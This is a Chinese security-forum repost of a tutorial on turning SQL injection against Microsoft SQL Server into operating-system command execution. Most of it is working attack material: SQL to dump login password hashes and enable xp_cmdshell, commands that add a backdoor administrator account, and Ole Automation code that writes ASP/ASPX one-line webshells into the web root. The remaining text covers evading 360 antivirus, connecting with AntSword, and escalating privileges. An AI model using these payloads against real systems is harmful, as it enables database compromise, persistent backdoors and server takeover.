安全矩阵

 找回密码
 立即注册
搜索
查看: 630|回复: 0

sql server执行os-shell

[复制链接]

141

主题

153

帖子

517

积分

高级会员

Rank: 4

积分
517
发表于 2022-11-2 16:26:56 | 显示全部楼层 |阅读模式

sql server执行os-shell原创 菜鸟的菜 [url=]Tide安全团队[/url] 2022-10-24 17:03 发表于山东
编辑


1 sql server执行os-shell条件:数据库权限必须是dba权限 可利用sql-shll进行命令执行,部分常用ql语句:
查看版本:SELECT @@version查看连接用户: SELECT ORIGINAL_LOGIN(),APP_NAME(), CONNECTIONPROPERTY('CLIENT_NET_ADDRESS') , CONNECTIONPROPERTY('PROTOCOL_TYPE') 查询所有数据库名称select name from master.dbo.sysdatabases;查看用户hash:select name,sys.fn_varbintohexstr(password_hash) from sys.sql_logins查看数据库账号密码:select name,sys.fn_varbintohexstr(password_hash) from master.sys.sql_logins;查看数据库中表名:SELECT SysObjects.name AS Tablename FROM sysobjects WHERE xtype = 'U' and sysstat<200exec xp_dirtree 'c:'        # 列出所有c:\文件、目录、子目录exec xp_dirtree 'c:',1      # 只列c:\目录exec xp_dirtree 'c:',1,1    # 列c:\目录、文件exec xp_subdirs 'C:';       # 只列c:\目录select is_srvrolemember('sysadmin') # 判断是否是SA权限select is_member('db_owner')        # 判断是否是db_owner权限select is_srvrolemember('public')   # 判断是否是public权限创建用户:exec master..xp_cmdshell "net user test12 123.com add"exec master..xp_cmdshell "net localgroup administrators test12 add"exec master..xp_cmdshell "net user test12"读取文档内容create table files(line varchar(1024))bulk insert  files from 'C:\inetpub\aa.asp'select * from files
编辑

默认新建的用户只有public权限, sqlserver数据库进行os-shell执行,主要是利用开启xp_cmdshell进行命令执行,通过命令执行查看,返回结果为1,说明是存在xp_cmdshell,该命令只能证明是否存在xp_cmdshell,并不能证明可执行xp_cmdshell
select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'
编辑
1.1针对sqlserver2008测试1.1 当前用户不是dba在当前用户不为dba情况,利用sqlmap执行os-shell,提示如下:
编辑

非dba权限的用户即使在开启xpcmdshell的情况下也无法进行命令执行,提示没有权限:
编辑

dba权限在未开启cmdshell情况下执行命令提示如下:当非dba权限尝试开启cmdshell时提示没有该操作权限:
编辑

所以这就是为什么在我们发现sql注入的时候,如果当前用户不是dba权限的情况下无法进行命令执行。
1.2 当前用户为dba在进行注入时,如果当前用户为dba,可尝试利用如下命令手动开启xpcmd_shell
EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
接下来分析下sqlmap如何去检测和开启xp_cmdshell,通过抓取数据包发现,开启cmdshell命令如下:
;EXEC master..sp_configure 'SHOW advanced options',1; RECONFIGURE WITH OVERRIDE; EXEC master..sp_configure 'xp_cmdshell',1; RECONFIGURE WITH OVERRIDE; EXEC master..sp_configure 'SHOW advanced options',0; RECONFIGURE WITH OVERRIDE--
当尝试利用os-shell无法开启时,可尝试利用sql-shell开启,xpcmd_shell,本次在测试时发现,直接在sql-shell中执行上述4条开启的语句无法开启成功,可尝试拼接sql语句进行开启
select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell';EXEC master..sp_configure 'SHOW advanced options',1; RECONFIGURE WITH OVERRIDE; EXEC master..sp_configure 'xp_cmdshell',1; RECONFIGURE WITH OVERRIDE; EXEC master..sp_configure 'SHOW advanced options',0; RECONFIGURE WITH OVERRIDE--
查询语句为查看xpcmd_shell组件的命令,执行语句后返回结果1,即为查询成功:
编辑

判断是否存在站库分离:
select host_name();             //主机名select @@servername;            //服务器名//如果相同则代表数据库和web在同一台机器上面
执行后发现返回的服务器名称相同,可见未进行站库分离,如下图:
编辑

即使主机上安装有360等安全设备,执行该命令后,也可以将xp cmd_shell组件开启,通过测试发现,主机上杀毒软件拦截只有在调用xpcmd_shell进行命令执行时才会进行拦截
编辑
1.3 xpcmd_shell为什么无法执行命令在没有防护的情况下,可利用sqlmap正常开启xpcmd_shell进行命令执行,但是很多情况下会发现 无法进行命令执行,sqlmap提示如下:
编辑

此时可能原因是对服务器上安装有安全软件,本次测试在测试环境中安全了360安全软件,可在调用xpcmd_shell组件时,被安全软件拦截
编辑

思路一:如果在已知sqlserver账户密码的情况下,利用navicat连接数据库进行手动写入shell:开启sp_OACreate组件
EXEC sp_configure 'show advanced options', 1; RECONFIGURE WITH OVERRIDE; EXEC sp_configure 'Ole Automation Procedures', 1; RECONFIGURE WITH OVERRIDE; EXEC sp_configure 'show advanced options', 0;
利用文件存储先写入文件:
declare @o int, @f int, @t int, @ret intexec sp_oacreate 'scripting.filesystemobject', @o outexec sp_oamethod @o, 'createtextfile', @f out, 'c:\inetpub\aa.asp', 1exec @ret = sp_oamethod @f, 'writeline', NULL,'<%execute(request("a"))%>'
编辑

可成功在c盘inetpub路径下写入aa.asp文件,shell的写入路径可利用execute master..xp_dirtree命令进行查找
execute master..xp_dirtree 'c:/inetpub/test/',1,1
编辑

利用上述方法的前提是在已经知道sqlsever数据库的的管理账号密码,可利用--passwords 参数查看。思路二:假如未能成功登录,可先通过查看网站路径,在写入shell方式,步骤如下: 1、新建tmp表格,并将master..xp_dirtree的存储结果保存到表格中,命令如下:
CREATE TABLE tmp (dir varchar(8000),num int,num1 int);insert into tmp(dir,num,num1) execute master..xp_dirtree 'c:',1,1;
可在sql-shell中执行,执行效果如下:
编辑
也可通过注入点直接执行,执行效果如下:
编辑
直接在sql-shell中执行命令查看结果:select * from test.tmp
编辑

可发现存在inetpub目录,接着在查看改目录下文件,为了防止目录过多,可尝试删除之前tmp在重新表格,存储新目录下的数据,删除表格直接执行drop table tmp,可在利用select 查询重新确定下是否删除成功。新建表格命令如下:
CREATE TABLE tmp (dir varchar(8000),num int,num1 int);insert into tmp(dir,num,num1) execute master..xp_dirtree 'c:/inetpub/',1,1;
编辑
在用select命令进行查看,
编辑

利用该方法慢慢找到网站的路径,可能就是比较慢,通过测试发现该种方法是不会被主机上的杀软拦截的。找到根目录后用Scripting.FileSystemObject中CreateTextFile和WriteLine来实现写入webshell,sql-shell执行命令如下,前提时先开启sp_OACreate,开启脚本如下:
EXEC sp_configure 'show advanced options', 1; RECONFIGURE WITH OVERRIDE;EXEC sp_configure 'Ole Automation Procedures', 1;RECONFIGURE WITH OVERRIDE;EXEC sp_configure 'show advanced options', 0;
写入shell脚本:
declare @f int,@g int;exec sp_oacreate 'Scripting.FileSystemObject',@f output;EXEC SP_OAMETHOD @f,'CreateTextFile',@f OUTPUT,'c:\inetpub\test\test.aspx',1;EXEC sp_oamethod  @f,'WriteLine',null,'<%@ Page Language="Jscript"%><%var a = "un";var b = "safe";Response.Write(eval(Request.Item["z"],a%2Bb));%>'
可成功写入一句话木马,如下图:
编辑
利用蚁剑可成功连接shell
编辑
只是此时权限较低,是iis权限需要进行进一步提权。在进行提权时系统安装360可能不能成功,此时可尝试低权限上线cs,然后利用cs提权,需要进行360绕过,也可采用sqlserver的sqlps.exe文件进行命令执行,不管时利用哪种方式,此时考察的就是免杀能力了。
1.2 sqlserver 2012测试之前验证了sqlserver 2008如何通过sql注入获取系统shell,主要是通过调用xpcmd_shell,但是当服务器上存在杀毒软件时无法进行开启,此时可尝试sql-shell,寻找网站目录,然后写入一句话木马的方式,只是写入的shell权限比较低,接下来尝试利用sqlserver2012进行测试。
1.2.1 无杀软执行xpcmd_shellsqlserver2012默认cpcmd_shell也是关闭的,当服务器主机不存在杀软时,可直接执行os-shell,进行命令执行。
编辑
此时可通过执行pwershell直接上线cs,但是此时上线的权限为sqlserver,可通过ms16-075进行提权到system,然后在进行后渗透即可,在不存在杀软的情况下相对比较顺利,接下来看下如何绕过杀软上传shell。
1.2.2绕过杀软上传shell主机上安装360,直接通过sqlmap执行os-shell会被拦截,尝试sql-shell进行命令执行,步骤和2008大致基本相同,先通过xp_dirtree慢慢找到网站路径,在开启sp_OACreate,最后写入shell。
declare @o int, @f int, @t int, @ret int;exec sp_oacreate 'scripting.filesystemobject', @o out;exec sp_oamethod @o,'createtextfile', @f out, 'e:\test\123.asp', 1;exec @ret = sp_oamethod @f, 'writeline', NULL,'<%@ Page Language="Jscript"%><%var a = "un";var b = "safe";Response.Write(eval(Request.Item["z"],a%2Bb));%>'
可尝试利用判断是否写入成功
create table sssss (line varchar(1024));bulk insert sssss from 'e:\test\123.asp';select * from sssss
编辑
编辑

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-3-29 09:43 , Processed in 0.015028 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表